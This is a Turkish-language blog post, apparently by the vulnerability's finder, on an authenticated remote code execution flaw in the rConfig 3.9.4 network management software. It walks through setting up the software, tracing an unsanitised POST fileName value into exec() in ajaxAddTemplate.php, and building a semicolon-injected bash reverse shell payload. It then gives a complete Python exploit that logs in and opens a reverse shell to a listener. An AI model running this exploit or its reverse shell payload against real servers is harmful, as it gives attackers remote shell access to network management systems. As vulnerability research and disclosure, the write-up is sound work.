Published

Sat 29 February 2020

←Home

rConfig 3.94 Authenticated Remote Code Execution Zafiyeti

Merhaba, rConfig adında açık kaynaklı bir ağ yönetim yazılımında bulduğum Authenticated RCE zafiyetinin detaylı bulumunu anlatıyor olacağım. Bir önceki yazıda olduğu gibi türkçeye kaynak kazandırmak adına makaleyi türkçe kaleme aldım.

AUTHENTICAD RCE

Authenticated, zafiyetinin tetiklemesi için geçerli bir kullanıcı gerekli olduğunu belirtir. RCE ise uygulama üzerinden uygulamanın çalıştığı sunucuda sistem kodları çalıştırabilmemize olanak sağlayan zafiyet türüdür.

rConfig

  1. Uygulama indirme linki: rConfig Downloads
  2. Zafiyeti tespit ettiğim sürüm: 3.9.4

BÖLÜM 1: Uygulama Eldesi

Kaynak kod analizini keyfi istekler doğrultusunda yapmamdan ötürü bu uygulamanın adını Exploit-DB üzerinde gezinirken gördüm. Benim tespit ettiğim zafiyet harici rce zafiyetleride bulunuyordu. Uygulamanın doğrudan bir OVA dosyası olmamasından ötürü el ile kurulum gerektiyor fakat kuruluma dair direktifler dağıtımcı tarafından resmi website üzerinde yayınlanmış. Bende bu kurulum kılavuzunu takip ederek VMWARE Fusion üzerinde sanal bir Centos sunucuda uygulamayı kurdum.

rConfig


Bölüm 2: Kaynak Kod Eldesi

Kurulum direktiflerini takip ettiğimde uygulamanın kaynak kodlarının /home/rConfig dizinine koyulduğunu tespit ettim.

rConfig

Kodları daha uygun bir ortadamda IDE üzerinden incelemek için dizini TAR ile sıkıştırdım ve SCP kullanarak ana makineme aktardım.

tar -czvf rconfig.tar.gz /home/rConfig/
scp root@rConfigIP:/home/rConfig/rconfig.tar.gz /tmp/rconfig.tar.gz

Bölüm 3: Kaynak Kodun İncelenmesi

Dosyaları kendi tercih ettiğim ATOM idesini kullanarak kurcalamaya başladım.

Statik kaynak kod analizlerinde komut çalıştırmaya dair bir zafiyet arıyorsak başlı başlı dikkat etmemiz gereken bazı fonksiyonlar var. Bunların bir kaçına örnek olarak; system, exec, shell_exec, popen, eval, passthru fonksiyonları verilebilir.

IDE üzerinde tüm projede bulunan php dosyalarında yukarıda belirttiğim fonksiyonları aramaya başladım ve boşa çıkan bir kaç saat ve tespit edilen RCE harici bir kaç zaafiyetin sonunda ajaxAddTemplate.php dosyasının 49. satırında zafiyetli olabileceğini ön gördüğüm bir noktaya rastladım.

rConfig

Sistem fonksiyonu olarak exec() fonksiyonu kullanılıyor ve $fullpath isminde henüz nereden geldiği belli olmayan bir değişkeni parametre olarak alıyordu. Dosyayı biraz daha kurcaladığım vakit $fullPath değişkenine 23. satırda $fileName isimli başka bir değişkenin eklendiği tespit ettim.

rConfig

Ve $fileName değişkeni yine aynı dosyanın 14-22. satırları arasında kullanıcıdan POST isteğiyle alınıyor ve eğer yoksa sonuna .yml uzantısı ekleniyordu.

rConfig

.yml uzantısı hariç girdiye herhangi bir müdahale yok yani bu durumda bu girdiyi RCE zafiyetini tetiklemek için kullanabiliriz.


Bölüm 4: Payload Hazırlanması

exec() fonksiyonu içerisine $fullpath değişkeni gidiyor. Bu değişkenin ön tanımlı bir değeri örnek olarak "/home/rconfig" daha sonra dizin değerine bizden alınan $fileName değişkeni ekleniyor. Bu durumda ilk olarak değişkenimize ; karakteri verirsek $fullpath değişkeninden gelen değerden kurtulmuş oluyoruz. Ek olarak, $fileName değişkenine .yml uzantısı veren bir kontrolde bulunuyordu. Aynı şekilde payloadın sonunada ; karakteri koyarak bu uzantı ekleme işleminide atlatabiliriz.
Oluşan payload taslağımız: ; REVERSESHELL CODE;
Uygulama varsayılan olarak centOS üzerinde çalışıyor bu sebeple PANDORAFMS de olduğu gibi reverse shell için netcat kullanamayız fakat bash kullanabiliriz.

Bash reverse shell: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Bununla beraber sonuç payladımız: ;bash -i >& /dev/tcp/IP/8080 0>&1;


BÖLÜM 5: EXPLOIT

Exploit-DB: Exploit

'''
rConfig 3.93 Authenticated remote code execution.
Author: Engin Demirbilek
Author Blog: engindemirbilek.github.io
'''

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) < 6:
	print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
	exit()

url = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
payload = ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(sys.argv[4], sys.argv[5])

login = {
	'user':user,
	'pass':password,
	'sublogin':'1'
}
req = requests.Session()
print "Sendin login request ..."
login = req.post(url+"/lib/crud/userprocess.php", data=login, verify=False)

payload = {
	'fileName':payload,
}



print "[+] Sendin exploit ..."

exploit = req.post(url+"/lib/ajaxHandlers/ajaxAddTemplate.php",cookies=req.cookies, data=payload, headers={
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'},verify=False)

if exploit.status_code == 200:
	print "[+] Everything seems ok, check your listener."
else:
	print "[-] Exploit failed,  system is patched or credentials are wrong."


Go Top